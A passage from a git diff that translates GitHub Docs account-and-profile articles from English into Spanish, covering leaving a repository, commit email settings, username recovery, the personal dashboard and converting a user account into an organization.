   - Repositories
-shortTitle: Remove yourself
+shortTitle: Eliminarte a ti mismo
 ---
+
 {% data reusables.user_settings.access_settings %}
-2. In the left sidebar, click **Repositories**.
-  ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png)
-3. Next to the repository you want to leave, click **Leave**.
-  ![Leave button](/assets/images/help/repository/repo-leave.png)
-4. Read the warning carefully, then click "I understand, leave this repository."
-  ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png)
+2. En la barra lateral izquierda, haz clic en **Repositories** (Repositorios). ![Pestaña Repositories (Repositorios)](/assets/images/help/settings/settings-sidebar-repositories.png)
+3. Junto al repositorio que quieres abandonar, haz clic en **Leave** (Abandonar). ![Botón Leave (Abandonar)](/assets/images/help/repository/repo-leave.png)
+4. Lee la advertencia con atención, luego haz clic en "I understand, leave this repository" (Comprendo, abandonar este repositorio). ![Cuadro de diálogo con advertencia sobre el abandono](/assets/images/help/repository/repo-leave-confirmation.png)
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
index 6f5986b82c..8fac88cdd1 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing email preferences
-intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.'
+title: Administrar preferencias de correo electrónico
+intro: 'Puedes agergar o cambiar las direcciones de correo electrónico que se asocian con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. También puedes administrar correos electrónicos que recibes de {% data variables.product.product_name %}.'
 redirect_from:
   - /categories/managing-email-preferences
   - /articles/managing-email-preferences
@@ -22,6 +22,6 @@ children:
   - /remembering-your-github-username-or-email
   - /types-of-emails-github-sends
   - /managing-marketing-emails-from-github
-shortTitle: Manage email preferences
+shortTitle: Administra las preferencias de correo electrónico
 ---
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
index e3a1cec0b9..8d5168f805 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
@@ -1,6 +1,6 @@
 ---
-title: Remembering your GitHub username or email
-intro: 'Are you signing in to {% data variables.product.product_location %} for the first time in a while? If so, welcome back! If you can''t remember your {% data variables.product.product_name %} user account name, you can try these methods for remembering it.'
+title: Recordar tu nombre de usuario o correo electrónico de GitHub
+intro: '¿Vas a iniciar sesión en {% data variables.product.product_location %} por primera vez después de un tiempo? Si es así, ¡bienvenido de nuevo! Si no puedes recordar tu {% data variables.product.product_name %} nombre de la cuenta de usuario, puedes intentar estos métodos para hacerlo.'
 redirect_from:
   - /articles/oh-noes-i-ve-forgotten-my-username-email
   - /articles/oh-noes-i-ve-forgotten-my-username-or-email
@@ -14,62 +14,63 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Find your username or email
+shortTitle: Encontrar tu nombre de usurio o correo electrónico
 ---
+
 {% mac %}
 
-## {% data variables.product.prodname_desktop %} users
+## Usuarios {% data variables.product.prodname_desktop %}
 
-1. In the **GitHub Desktop** menu, click **Preferences**.
-2. In the Preferences window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+1. En el menú de **GitHub Desktop** (GitHub Desktop), haz clic en **Preferences** (Preferencias).
+2. En la ventana Preferences (Preferencias), comprueba lo siguiente:
+    - Para ver tu {% data variables.product.product_name %} nombre de usuario, haz clic en **Accounts** (Cuentas).
+    - Para ver tu correo electrónico de Git, haz clic en **Git**. Ten en cuenta que no está garantizado que este correo electrónico sea [tu correo electrónico {% data variables.product.product_name %} principal](/articles/changing-your-primary-email-address).
 
 {% endmac %}
 
 {% windows %}
 
-## {% data variables.product.prodname_desktop %} users
+## Usuarios {% data variables.product.prodname_desktop %}
+
+1. En el menú de **Archivo**, da clic en **Opciones**.
+2. En la ventana Options (Opciones), comprueba lo siguiente:
+    - Para ver tu {% data variables.product.product_name %} nombre de usuario, haz clic en **Accounts** (Cuentas).
+    - Para ver tu correo electrónico de Git, haz clic en **Git**. Ten en cuenta que no está garantizado que este correo electrónico sea [tu correo electrónico {% data variables.product.product_name %} principal](/articles/changing-your-primary-email-address).
 
-1. In the **File** menu, click **Options**.
-2. In the Options window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
-  
 {% endwindows %}
 
-## Finding your username in your `user.name` configuration
+## Encontrar tu nombre de usuario en tu configuración `user.name`
 
-During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting:
+Durante la configuración, puede que debas [establecer tu nombre de usuario en Git](/github/getting-started-with-github/setting-your-username-in-git). En tal caso, puedes revisar el valor de este parámetro de configuración:
 
 ```shell
 $ git config user.name
-# View the setting
+# Ver el parámetro
 <em>YOUR_USERNAME</em>
 ```
 
-## Finding your username in the URL of remote repositories
+## Encontrar tu nombre de usuario en la URL de repositorios remotos
 
-If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
+Si tienes alguna copia local de los repositorios personales que has creado o bifurcado, puedes verificar la URL del repositorio remoto.
 
 {% tip %}
 
-**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
+**Sugerencia**: Este método solo funciona si tienes un repositorio original o tu propia bifurcación del repositorio de alguna otra persona. Si clonas el repositorio de alguna otra persona, se mostrará su nombre de usuario en lugar del tuyo. Del mismo modo, los repositorios de la organización mostrarán el nombre de la organización en lugar del de un usuario particular en la URL remota.
 
 {% endtip %}
 
 ```shell
 $ cd <em>YOUR_REPOSITORY</em>
-# Change directories to the initialized Git repository
+# Cambia los directorios para el repositorio de Git inicializado
 $ git remote -v
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
-origin	https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (fetch)
+origin  https://{% data variables.command_line.codeblock %}/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.git (push)
 ```
 
-Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`.
+Tu nombre de usuario es lo que le sigue inmediatamente a `https://{% data variables.command_line.backticks %}/`.
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leer más
 
-- "[Verifying your email address](/articles/verifying-your-email-address)"
+- "[Verificar tu dirección de correo electrónico](/articles/verifying-your-email-address)"
 {% endif %}
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
index 338493bf2e..84094b7c58 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your commit email address
-intro: 'You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer.'
+title: Configurar tu dirección de correo electrónico de confirmación
+intro: 'Puedes configurar la dirección de correo electrónico que se utiliza para crear confirmaciones en {% data variables.product.product_location %} y en tu computadora.'
 redirect_from:
   - /articles/keeping-your-email-address-private
   - /articles/setting-your-commit-email-address-on-github
@@ -20,43 +20,44 @@ versions:
 topics:
   - Accounts
   - Notifications
-shortTitle: Set commit email address
+shortTitle: Configurar la dirección de correo electrónico para confirmaciones
 ---
-## About commit email addresses
 
-{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.product.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
+## Acerca de las dirección de correo electrónico de confirmación
 
-For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git.
+{% data variables.product.prodname_dotcom %} utiliza tu dirección de correo electrónico para confirmaciones para asociar dichas confirmaciones con tu cuenta de {% data variables.product.product_location %}. Puedes elegir la dirección de correo electrónico que se asociará con las confirmaciones que subes desde la línea de comando y las operaciones de Git con base en la web que realizas.
 
-{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
+Para las operaciones de Git basadas en web, puedes configurar tu dirección de correo electrónico para confirmaciones en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para las confirmaciones que subes desde la línea de comando, puedes configurar tu dirección de correo electrónico de confirmaciones en Git.
+
+{% ifversion fpt or ghec %}Cualquier confirmación que hayas realizado antes de cambiar tu dirección de correo electrónico de confirmaciones estará todavía asociada a tu dirección de correo electrónico previa.{% else %}Después de cambiar tu dirección de correo electrónico de confirmaciones en {% data variables.product.product_name %}, la nueva dirección de correo electrónico será visible por defecto en todas tus operaciones futuras de Git con base en la web. Cualquier confirmación que realices antes de cambiar tu dirección de correo electrónico de confirmaciones estarán todavía asociada a tu dirección de correo electrónico anterior.{% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note**: {% data reusables.user_settings.no-verification-disposable-emails %}
+**Nota**: {% data reusables.user_settings.no-verification-disposable-emails %}
 
 {% endnote %}
 
 {% endif %}
 
-{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `no-reply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
+{% ifversion fpt or ghec %}Si quieres mantener tu dirección de correo electrónico personal como privada, puedes utilizar una dirección de tipo `no-reply` de {% data variables.product.product_name %} como tu dirección para confirmaciones. Para utilizar tu dirección de correo electrónico `noreply` para confirmaciones que subes desde la línea de comando, utiliza esa dirección de correo electrónico cuando configuras tu dirección de correo electrónico de confirmaciones en Git. Para utilizar tu dirección `noreply` para las operaciones de Git con base en la web, configura tu dirección de correo electrónico de confirmaciones en GitHub y elige **Keep my email address private (Mantener mi dirección de correo electrónico privada)**.
 
-You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
+También puedes elegir bloquear las confirmaciones que subes desde la línea de comando que muestra tu dirección de correo electrónico personal. Para obtener más información, consulta "[Bloquear las subidas de línea de comando que muestran tu correo electrónico personal](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %}
 
-To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %}
+Para garantizar que las confirmaciones se te atribuyan y aparezcan en tu gráfica de contribuciones, utiliza una dirección de correo electrónico que esté conectada a tu cuenta de {% data variables.product.product_location %}{% ifversion fpt or ghec %}, o a la dirección de tipo `noreply` que se te proporcionó en la configuración de correo electrónico{% endif %}. {% ifversion not ghae %}Para obtener más información, consulta la sección "[Agregar una dirección de correo electrónico a tu cuenta de {% data variables.product.prodname_dotcom %}](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)".{% endif %}
 
 {% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note:** If you created your account on {% data variables.product.product_location %} _after_ July 18, 2017, your `no-reply` email address for {% data variables.product.product_name %} is a seven-digit ID number and your username in the form of <code><em>ID+username</em>@users.noreply.github.com</code>. If you created your account on {% data variables.product.product_location %} _prior to_ July 18, 2017, your `no-reply` email address from {% data variables.product.product_name %} is <code><em>username</em>@users.noreply.github.com</code>. You can get an ID-based `no-reply` email address for {% data variables.product.product_name %} by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings.
+**Nota:** Si creaste tu cuenta en {% data variables.product.product_location %} _después_ del 18 de julio de 2017, tu dirección de correo electrónico de `no-reply` para {% data variables.product.product_name %} es un número de ID de siete dígitos y tu nombre de usuario en formato <code><em>ID+username</em>@users.noreply.github.com</code>. Si creaste tu cuenta en {% data variables.product.product_location %} _antes del_ q8 de julio de 2017, tu dirección de correo electrónico de tipo `no-reply` de {% data variables.product.product_name %} es <code><em>username</em>@users.noreply.github.com</code>. Puedes obtener una dirección de correo electrónico de tipo `no-reply` basada en ID para {% data variables.product.product_name %} si seleccionas (o dejas de seleccionar y vuelves a seleccionar) **Mantener mi dirección de correo electrónico como privada** en tus ajustes de correo electrónico.
 
 {% endnote %}
 
-If you use your `noreply` email address for {% data variables.product.product_name %} to make commits and then [change your username](/articles/changing-your-github-username), those commits will not be associated with your account on {% data variables.product.product_location %}. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.product_name %}. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)."{% endif %}
+Si utilizas tu dirección de correo electrónico de tipo `noreply` para que {% data variables.product.product_name %} realice confirmaciones y luego [cambias tu nombre de usuario](/articles/changing-your-github-username), dichas confirmaciones no se asociarán con tu cuenta en {% data variables.product.product_location %}. Esto no aplica si estás utilizando la dirección de tipo `noreply` basada en ID desde {% data variables.product.product_name %}. Para obtener más información, consulta [Cambiar tu {% data variables.product.prodname_dotcom %} nombre de usuario](/articles/changing-your-github-username)"{% endif %}
 
-## Setting your commit email address on {% data variables.product.prodname_dotcom %}
+## Configurar tu dirección de correo electrónico de confirmación en {% data variables.product.prodname_dotcom %}
 
 {% data reusables.files.commit-author-email-options %}
 
@@ -66,11 +67,11 @@ If you use your `noreply` email address for {% data variables.product.product_na
 {% data reusables.user_settings.select_primary_email %}{% ifversion fpt or ghec %}
 {% data reusables.user_settings.keeping_your_email_address_private %}{% endif %}
 
-## Setting your commit email address in Git
+## Configurar tu dirección de correo electrónico de confirmación en Git
 
-You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.product_location %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
+Puedes utilizar el comando `git config` para cambiar la dirección de correo electrónico que asocias a tus confirmaciones de Git. La nueva dirección de correo electrónico que configures será visible en cualquier confirmación futura que subas a {% data variables.product.product_location %} desde la línea de comando. Cualquier confirmación que realices antes de cambiar tu dirección de correo electrónico de confirmaciones estarán todavía asociadas a tu dirección de correo electrónico anterior.
 
-### Setting your email address for every repository on your computer
+### Configurar tu dirección de correo electrónico para cada repositorio en tu computadora
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 2. {% data reusables.user_settings.set_your_email_address_in_git %}
@@ -84,14 +85,14 @@ You can use the `git config` command to change the email address you associate w
    ```
 4. {% data reusables.user_settings.link_email_with_your_account %}
 
-### Setting your email address for a single repository
+### Configurar tu dirección de correo electrónico para un repositorio único
 
-{% data variables.product.product_name %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.product_location %}.
+{% data variables.product.product_name %} utiliza la dirección de correo electrónico que se configuró en tus ajustes locales de Git para asociar las confirmaciones que se suben desde la línea de comandos con tu cuenta en {% data variables.product.product_location %}.
 
-You can change the email address associated with commits you make in a single repository. This will override your global Git config settings in this one repository, but will not affect any other repositories.
+Puedes cambiar la dirección de correo electrónico asociada a las confirmaciones que realizas en un repositorio único. Esto sustituirá tus configuraciones globales de Git en este único repositorio, pero no afectará otros repositorios.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
+2. Cambia el directorio de trabajo actual al repositorio local donde deseas configurar la dirección de correo electrónico que asocias con tus confirmaciones de Git.
 3. {% data reusables.user_settings.set_your_email_address_in_git %}
    ```shell
    $ git config user.email "<em>email@example.com</em>"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
index 8ed0bcd91e..b92c5e607e 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md
@@ -1,12 +1,12 @@
 ---
-title: About your personal dashboard
+title: Acerca de tu tablero personal
 redirect_from:
   - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github
   - /articles/opting-into-the-public-beta-for-a-new-dashboard
   - /articles/about-your-personal-dashboard
   - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
-intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.'
+intro: 'Puedes visitar tu tablero personal para hacer un seguimiento de las propuestas y las solicitudes de extracción que estás siguiendo o en las que estás trabajando, navegar hacia las páginas de equipo y tus repositorios principales, estar actualizado sobres las actividadess recientes en las organizaciones y los repositorios en los que estás suscripto y explorar los repositorios recomendados.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,49 +14,50 @@ versions:
   ghec: '*'
 topics:
   - Accounts
-shortTitle: Your personal dashboard
+shortTitle: Tu tablero personal
 ---
-## Accessing your personal dashboard
 
-Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.product_name %}.
+## Acceder a tu tablero personal
 
-To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page on {% data variables.product.product_name %}.
+Tu tablero personal es la primera página que verás cuando inicias sesión en {% data variables.product.product_name %}.
 
-## Finding your recent activity
+Para acceder a tu tablero personal una vez que has iniciado sesión, haz clic en el {% octicon "mark-github" aria-label="The github octocat logo" %} en la esquina superior izquierda de cualquier página en {% data variables.product.product_name %}.
 
-In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 12 recent updates made in the last two weeks.
+## Encontrar tu actividad reciente
+
+En la sección "Recent activity" (Actividad reciente) de tus noticias, rápidamente puedes encontrar las propuestas y solicitudes de extracción recién actualizadas en las que estás trabajando y hacerles el seguimiento. En "Recent activity" (Actividad reciente), puedes previsualizar hasta 12 actualizaciones recientes, realizadas durante las últimas dos semanas.
 
 {% data reusables.dashboard.recent-activity-qualifying-events %}
 
-## Finding your top repositories and teams
+## Encontrar tus equipos y repositorios principales
 
-In the left sidebar of your dashboard, you can access the top repositories and teams you use.
+En la barra lateral izquierda de tu tablero, puedes acceder a los equipos y los repositorios principales que usas.
 
-![list of repositories and teams from different organizations](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png)
+![listado de repositorios y equipos de diferentes organizaciones](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png)
 
-The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 4 months after you last interacted with them.
+La lista de repositorios principales se genera automáticamente y puede incluir cualquier repositorio con el que hayas interactuado, ya sea que pertenezca directamente a tu cuenta o no. Las interacciones incluyen el realizar confirmaciones y abrir o comentar en propuestas y solicitudes de cambios. La lista de repositorios principales no puede editarse, pero los repositorios saldrán de la lista en 4 meses después de la última interacción que hayas tenido con ellos.
 
-You can also find a list of your recently visited repositories, teams, and project boards when you click into the search bar at the top of any page on {% data variables.product.product_name %}.
+También puedes encontrar un listado de los repositorios, los equipos y los tableros de proyecto recientemente visitados al hacer clic en la barra de búsqueda en la parte principal de cualquier página en {% data variables.product.product_name %}.
 
-## Staying updated with activity from the community
+## Estar actualizado con la actividad desde tu organización
 
-In the "All activity" section of your news feed, you can view updates from repositories you're subscribed to and people you follow. The "All activity" section shows updates from repositories you watch or have starred, and from users you follow.
+En la sección "All activity" (Todas las actividades) de tus noticias, puedes ver las actualizaciones de los repositorios a los que estás suscrito y de las personas que sigues. La sección "All activity" (Todas las actividades) muestra las actualizaciones de los repositorios que observas o has marcado con una estrella, y de los usuarios a quienes sigues.
 
-You'll see updates in your news feed when a user you follow:
-- Stars a repository.
-- Follows another user.{% ifversion fpt or ghes or ghec %}
-- Creates a public repository.{% endif %}
-- Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching.
-- Pushes commits to a repository you watch.{% ifversion fpt or ghes or ghec %}
-- Forks a public repository.{% endif %}
-- Publishes a new release.
+Verás actualizaciones en tus noticias cuando un usuario que sigues:
+- Destaca un repositorio.
+- Sigue otro usuario.{% ifversion fpt or ghes or ghec %}
+- Crea un repositorio público.{% endif %}
+- Abre una propuesta o una solicitud de extracción con la etiqueta "se busca ayuda" o "primera buena propuesta" en un repositorio que estás mirando.
+- Sube las confirmaciones a un repositorio que estés observando.{% ifversion fpt or ghes or ghec %}
+- Bifurque un repositorio público.{% endif %}
+- Publica un lanzamiento nuevo.
 
-For more information about starring repositories and following people, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)" and "[Following people](/articles/following-people)."
+Para obtener más información acerca de cómo destacar repositorios y seguir personas, consulta "[Guardar repositorios con estrellas](/articles/saving-repositories-with-stars/)" y "[Seguir a personas](/articles/following-people)".
 
-## Exploring recommended repositories
+## Explorar los repositorios recomendados
 
-In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+Puedes explorar los repositorios recomendados en tus comunidades en la sección "Explorar repositorios" en el costado derecho de tu tablero. Las recomendaciones se basan en repositorios que has visitado o a los que has marcado con una estrella, las personas que sigues, y la actividad dentro de los repositorios a los cuales tienes acceso. {% ifversion fpt or ghec %}Para obtener más información, consulta "[Encontrar maneras de contribuir al código abierto en {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".{% endif %}
 
-## Further reading
+## Leer más
 
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- "[Acerca del tablero de tu organización](/articles/about-your-organization-dashboard)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
index 7fececc39d..5d9647cef3 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md
@@ -1,69 +1,67 @@
 ---
-title: Converting a user into an organization
+title: Convertir un usuario en una organización
 redirect_from:
   - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
   - /articles/explaining-the-account-transformation-warning
   - /articles/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
-intro: You can convert your user account into an organization. This allows more granular permissions for repositories that belong to the organization.
+intro: Puedes convertir tu cuenta de usuario en una organización. Esto permite que haya más permisos granulares para repositorios que pertenecen a la organización.
 versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
 topics:
   - Accounts
-shortTitle: User into an organization
+shortTitle: Un usuario en una organización
 ---
+
 {% warning %}
 
-**Warning**: Before converting a user into an organization, keep these points in mind:
+**Advertencia**: Antes de convertir un usuario en una organización, ten en cuenta estos puntos:
 
- - You will **no longer** be able to sign into the converted user account.
- - You will **no longer** be able to create or modify gists owned by the converted user account.
- - An organization **cannot** be converted back to a user.
- - The SSH keys, OAuth tokens, job profile,  reactions, and associated user information, **will not** be transferred to the organization. This is only true for the user account that's being converted, not any of the user account's collaborators.
- - Any commits made with the converted user account **will no longer be linked** to that account. The commits themselves **will** remain intact.
- - Any forks of private repositories made with the converted user account will be deleted.
+ - **Ya no** podrás iniciar sesión con la cuenta de usuario convertida.
+ - **Ya no** podrás crear o modificar gists que pertenecen a la cuenta de usuario convertida.
+ - Una organización **no puede** volver a convertirse en un usuario.
+ - Las llaves SSH, tokens de OAuth, perfiles de trabajo, reacciones, y el resto de la información asociada con el usuario, **no** se transferirán a la organización. Esto es solo true para la cuenta de usuario que se convertirá, no para cualquiera de los colaboradores de la cuenta del usuario.
+ - Todas las confirmaciones realizadas a la cuenta del usuario convertida **ya no se asociarán** con esa cuenta. Las confirmaciones **permanecerán** intactas.
+ - Cualquier bifurcación de un repositorio privado que se haga con la cuenta de usuario convertida, se borrará.
 
 {% endwarning %}
 
-## Keep your personal user account and create a new organization manually
+## Conservar la cuenta de usuario personal y crear una nueva organización manualmente
 
-If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal user account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your user account into an organization.
+Si deseas que tu organización tenga el mismo nombre que estás usando actualmente para tu cuenta personal, o si deseas que la información de la cuenta del usuario personal permanezca intacta, debes crear una organización nueva y trasnferirla a tus repositorios en lugar de convertir tu cuenta de usuario en una organización.
 
-1. To retain your current user account name for your personal use, [change the name of your personal user account](/articles/changing-your-github-username) to something new and wonderful.
-2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal user account.
-3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.
+1. Para conservar el nombre de la cuenta de usuario para uso personal, [cambia el nombre de tu cuenta de usuario personal](/articles/changing-your-github-username) por uno nuevo y maravilloso.
+2. [Crea una nueva organización](/articles/creating-a-new-organization-from-scratch) con el nombre original de tu cuenta de usuario personal.
+3. [Transfiere tus repositorios](/articles/transferring-a-repository) a tu nueva cuenta de la organización.
 
-## Convert your personal account into an organization automatically
+## Convertir tu cuenta personal en una organización automáticamente
 
-You can also convert your personal user account directly into an organization. Converting your account:
- - Preserves the repositories as they are without the need to transfer them to another account manually
- - Automatically invites collaborators to teams with permissions equivalent to what they had before
- {% ifversion fpt or ghec %}- For user accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %}
+Puedes convertir tu cuenta de usuario personal directamente en una organización. Convertir tu cuenta:
+ - Preserva los repositorios ya que no tienen la necesidad de ser transferidos a otra cuenta manualmente
+ - Invita automáticamente a que los colaboradores se unan a los equipos con permisos equivalentes a los que tenían antes
+ {% ifversion fpt or ghec %}- Para las cuentas de usuario en {% data variables.product.prodname_pro %}, automáticamente traslada la facturación [al {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) pago sin la necesidad de volver a ingresar la información de pago, ajustar tu ciclo de facturación o duplicar el pago en ningún momento{% endif %}
 
-1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
-2.  [Leave any organizations](/articles/removing-yourself-from-an-organization) the user account you're converting has joined.
+1. Crea una nueva cuenta personal, que usarás para iniciar sesión en GitHub y acceder a la organización y a tus repositorios después de la conversión.
+2.  [Sal de todas las organizaciones](/articles/removing-yourself-from-an-organization) a las que se ha unido la cuenta de usuario que estás convirtiendo.
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-5. Under "Transform account", click **Turn <username> into an organization**.
- 	![Organization conversion button](/assets/images/help/settings/convert-to-organization.png)
-6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article.
- 	![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png)
-7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization.
- 	![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png)
-8. Choose your new organization's subscription and enter your billing information if prompted.
-9. Click **Create Organization**.
-10. Sign in to the new user account you created in step one, then use the context switcher to access your new organization.
